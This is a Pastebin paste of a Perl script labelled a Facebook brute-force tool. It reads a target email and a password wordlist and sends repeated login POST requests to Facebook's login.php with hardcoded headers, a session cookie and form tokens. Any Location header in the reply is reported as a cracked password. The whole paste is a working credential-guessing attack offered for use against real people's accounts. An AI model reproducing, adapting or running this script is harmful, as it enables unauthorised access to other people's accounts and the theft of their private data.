Guest User

Untitled

a guest
Mar 30th, 2018
49
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.30 KB | None | 0 0
  1. BRUTE FORCE FACEBOOK TOOL...
  2.  
  3. #!/usr/bin/perl
  4. #
  5.  
  6. use strict;
  7. use Net::SSLeay::Handle;
  8.  
  9. if(!defined($ARGV[0] && $ARGV[1])) {
  10.  
  11. system('clear');
  12. print " Version 1.0 \n";
  13. print "\M3son1c D4rkn3ss \n";
  14. print "M3son1c D4rkn3ss \n";
  15. print " M3son1c D4rkn3ss\n";
  16. print "M3son1c D4rkn3ss \n";
  17. print "M3son1c D4rkn3ss\n";
  18. print "M3son1c D4rkn3ss \n";
  19.  
  20. print "\033[1;31m ======================================================\n";
  21. print "\033[1;37m Usage: perl $0 Email wordlist.txt\n\n\n\n\n\n\n\n\n";
  22. print "\033[1;31m ======================================================\n";
  23. print "\n";
  24. print "\n";
  25. print "\n";
  26. print "\n";
  27. print "\n";
  28. print "\n";
  29. exit; }
  30.  
  31. my $user = $ARGV[0];
  32. my $wordlist = $ARGV[1];
  33.  
  34. open (LIST, $wordlist) || die "\n[-] Can't find/open $wordlist\n";
  35.  
  36. print " Version 1.0 \n";
  37. print "\M3son1c D4rkn3ss\n";
  38. print "M3son1c D4rkn3ss \n";
  39. print "M3son1c D4rkn3ss\n";
  40. print "M3son1c D4rkn3ss \n";
  41. print "M3son1c D4rkn3ss\n";
  42. print "M3son1c D4rkn3ss \n";
  43.  
  44. print "\033[1;31m ======================================================\n";
  45. print "\033[1;33m made by [[M3son1c D4rkn3ss]] \n";
  46. print "\033[1;31m ========================================================\n";
  47.  
  48. print "\033[1;39m\n [+] Cracking Started on: $user ...\n\n";
  49. print "=======================================\n";
  50.  
  51. while (my $password = <LIST>) {
  52. chomp ($password);
  53. $password =~ s/([^^A-Za-z0-9\-_.!~*'()])/ sprintf "%%%0x", ord $1 /eg;
  54.  
  55. my $a = "POST /login.php HTTP/1.1";
  56. my $b = "Host: www.facebook.com";
  57. my $c = "Connection: close";
  58. my $e = "Cache-Control: max-age=0";
  59. my $f = "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8";
  60. my $g = "Origin: https://www.facebook.com";
  61. my $h = "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.31 (KHTML, like Gecko) Chrome/26.0.1410.63 Safari/537.31";
  62. my $i = "Content-Type: application/x-www-form-urlencoded";
  63. my $j = "Accept-Encoding: gzip,deflate,sdch";
  64. my $k = "Accept-Language: en-US,en;q=0.8";
  65. my $l = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3";
  66.  
  67. my $cookie = "cookie: datr=80ZzUfKqDOjwL8pauwqMjHTa";
  68. my $post = "lsd=AVpD2t1f&display=&enable_profile_selector=&legacy_return=1&next=&profile_selector_ids=&trynum=1&timezone=300&lgnrnd=031110_Euoh&lgnjs=1366193470&email=$user&pass=$password&default_persistent=0&login=Log+In";
  69. my $cl = length($post);
  70. my $d = "Content-Length: $cl";
  71.  
  72. my ($host, $port) = ("www.facebook.com", 443);
  73.  
  74. tie(*SSL, "Net::SSLeay::Handle", $host, $port);
  75.  
  76.  
  77. print SSL "$a\n";
  78. print SSL "$b\n";
  79. print SSL "$c\n";
  80. print SSL "$d\n";
  81. print SSL "$e\n";
  82. print SSL "$f\n";
  83. print SSL "$g\n";
  84. print SSL "$h\n";
  85. print SSL "$i\n";
  86. print SSL "$j\n";
  87. print SSL "$k\n";
  88. print SSL "$l\n";
  89. print SSL "$cookie\n\n";
  90.  
  91. print SSL "$post\n";
  92.  
  93. my $success;
  94. while(my $result = <SSL>){
  95. if($result =~ /Location(.*?)/){
  96. $success = $1;
  97. }
  98. }
  99. if (!defined $success)
  100. {
  101. print "\033[1;31m[-] $password -> Failed \n";
  102. close SSL;
  103. }
  104. else
  105. {
  106. print "\033[1;32m\n########################################################\n";
  107. print "[+] \033[1;32mPassword Cracked: $password\n";
  108. print "\033[1;32m########################################################\n\n";
  109. close SSL;
  110. exit;
  111. }
  112. }
Add Comment
Please, Sign In to add comment